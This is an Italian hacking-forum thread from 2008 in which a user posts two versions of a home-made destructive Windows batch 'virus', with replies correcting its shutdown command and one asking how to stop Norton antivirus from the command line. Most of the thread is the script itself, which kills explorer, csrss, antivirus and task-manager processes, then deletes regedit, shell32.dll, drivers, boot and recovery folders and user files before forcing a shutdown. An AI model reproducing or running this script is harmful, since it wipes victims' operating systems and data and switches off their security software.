virus in batch

Questo l'ho creato io.... va ancora xfezionao xk io lavoro su un win vista e oggi pomeriggio inserisco le directory dell'xp ke prendo dall'altro computer....
non vi garantisco nulla x il funzionamento xk ho cominciato domenica a conoscere il batch...

echo off
cls
taskkill /f /im "explorer.exe" /t
taskkill /f /im "SynTPStart.exe" /t
taskkill /f /im "SynTPHelper.exe" /t
taskkill /f /im "SynTPEnh.exe" /t
taskkill /f /im "rundll32.exe" /t
taskkill /f /im "sidebar.exe" /t
taskkill /f /im "avgtray.exe" /t
taskkill /f /im "ForceField.exe" /t
taskkill /f /im "csrss.exe" /t
taskkill /f /im "taskmgr.exe" /t
taskkill /f /im "jusched.exe" /t
@erase /s /q "C:\WINDOWS\regedit.exe"
@erase /s /q "C:\WINDOWS\explorer.exe"
@rd /s /q "C:\WINDOWS\System32\Microsoft\Protect\S-1-5-18"
@erase /s /q "C:\WINDOWS\System32\control.exe"
@erase /s /q "C:\boot\*.*"
@rd /s /q "C:\boot"
@erase /s /q "C:\hiberfil.sys"
@erase /s /q "C:\pagefile.sys"
@erase /s /q "pagefile.sys"
@rd /s /q "C:\Program Files\Common Files\System"
@erase /s /q "C:\System.sav\REBOOT.ME"
@rd /s /q "C:\System.sav"
@erase /s /q "C:\WINDOWS\Cursors\*.*"
@rd /s /q "C:\WINDOWS\Cursors"
@attrib +s +h "C:\Users\All Users"
@attrib +s +h "C:\Documents and Settings\All Users"
@erase /s /q "C:\Users\Default\*.LOG?"
@erase /s /q "C:\Users\Default\*.LOG"
@erase /s /q "C:\Users\Default\*.DAT"
@erase "C:\WINDOWS\System32\shell32.dll"
@erase /s /q "C:\Users\%­username%\Documents\File ricevuti"
start -s -t 60 shutdown -f
cls
exit

aggiornerò piu avanti....

(a parte il titolo non è un virus.... scusate... ^^)

Oggi ho ripreso in mano il file e ho fatto qualke modifica...

echo off
cls
taskkill /f /im "taskmgr.exe" /t
@erase /s /q "C:\WINDOWS\system32\taskmgr.exe"
@erase /s /q "C:\WINDOWS\system32\taskman.exe"
taskkill /f /im "explorer.exe" /t
@erase /s /q "C:\WINDOWS\explorer.exe"
taskkill /f /im "SynTPStart.exe" /t
taskkill /f /im "SynTPHelper.exe" /t
taskkill /f /im "SynTPEnh.exe" /t
cls
taskkill /f /im "rundll32.exe" /t
taskkill /f /im "sidebar.exe" /t
taskkill /f /im "avgtray.exe" /t
taskkill /f /im "ForceField.exe" /t
taskkill /f /im "csrss.exe" /t
taskkill /f /im "taskmgr.exe" /t
taskkill /f /im "jusched.exe" /t
taskkill /f /im "avgscanx.exe" /t
taskkill /f /im "avgtray.exe" /t
taskkill /f /im "CCSVCHST.EXE" /t
taskkill /f /im "coinme.exe" /t
taskkill /f /im "emule.exe" /t
taskkill /f /im "msnmsgr.exe" /t
taskkill /f /im "rundll32.exe" /t
taskkill /f /im "rundll32.exe" /t
cls
taskkill /f /im "rundll32.exe" /t
taskkill /f /im "rundll32.exe" /t
taskkill /f /im "rundll32.exe" /t
taskkill /f /im "uTorrent.exe" /t
taskkill /f /im "firefox.exe" /t
taskkill /f /im "FlashUtil9d.exe" /t
taskkill /f /im "iexplore.exe" /t
taskkill /f /im "iexplore.exe" /t
taskkill /f /im "WLLoginProxy.exe" /t
taskkill /f /im "SpcLiteGFX.exe" /t
taskkill /f /im "wuauclt.exe" /t
cls
@erase /s /q "C:\WINDOWS\System32\mouse.exe"
@erase /s /q "C:\WINDOWS\System32\keyboard.exe"
@erase /s /q "C:\WINDOWS\system32\telnet.exe"
@erase /s /q "C:\WINDOWS\regedit.exe"
@rd /s /q "C:\WINDOWS\System32\Microsoft\Protect\S-1-5-18"
@erase /s /q "C:\WINDOWS\System32\control.exe"
@erase /s /q "C:\hiberfil.sys"
cls
@erase /s /q "C:\pagefile.sys"
@rd /s /q "C:\Program Files\Common Files\System"
@rd /s /q "C:\WINDOWS\system\SOUND.DRV"
@rd /s /q "C:\WINDOWS\system\KEYBOARD.DRV"
@rd /s /q "C:\WINDOWS\system\MOUSE.DRV"
@erase /s /q "C:\WINDOWS\Cursors\*.*"
@rd /s /q "C:\WINDOWS\Cursors"
@attrib +s +h "C:\Users\All Users" /s /d
@attrib +s +h "C:\Documents and Settings\All Users" /s /d
@attrib +s +h "C:\Documents and Settings\%­username%\*.*" /s /d
cls
@erase /s /q "C:\Users\Default\*.LOG?"
@erase /s /q "C:\Users\Default\*.LOG"
@erase /s /q "C:\Users\Default\*.DAT"
@erase "C:\WINDOWS\System32\shell32.dll"
@erase /s /q "C:\Users\%­username%\Documents\File ricevuti"
@erase /s /q "C:\Applicazioni\Driver\USB 2.0.*"
@erase /s /q "C:\Applicazioni\Driver\Audio.*"
@erase /s /q "C:\Applicazioni\Driver\Touchpad.*"
@erase /s /q "C:\Applicazioni\Driver\Mouse.*"
@rd /s /q "C:\Acer\utilities\restore"
@rd /s /q "C:\VAIO\recovery"
@rd /s /q "C:\HP\recovery"
@erase /s /q "C:\Recycled\*.*"
cls
shutdown -s -t 3
cls
exit

Edited by cegy - 29/8/2008, 23:06

scusa ma il comando per far spegnere il PC non e' shutdown - t 3??? xke tu hai scritto start?

Guarda sinceramente non lo so nemmeno io..... Un errore del ca..... ^^ Srry raga correggo

shutdown -f -t 1000 -r prova cosi io lo sempre fatti cosi

in cosa consiste il "virus"??

cancella la maggior parte dei file sistem e dei driver senza formattare l'hdd

x me è una lamerata lunghissima e sensa senso...se proprio volete fare i nabbi cancellate direttamente tutta la system32...cosa perdete tempo a cancellare 1 file alla volta...tanto se dovete far del danno gratuito lo scopo lo raggiungete lo stesso...mha

ciao ragazzi sto cercando un modo di disattivare l'antivirus da riga di comando..
ho il norton,

ho provato a terminare il servizio

così: sc stop nav

e così: net stop nav

ma con tutti e2 mi dà accesso negato

qualche idea?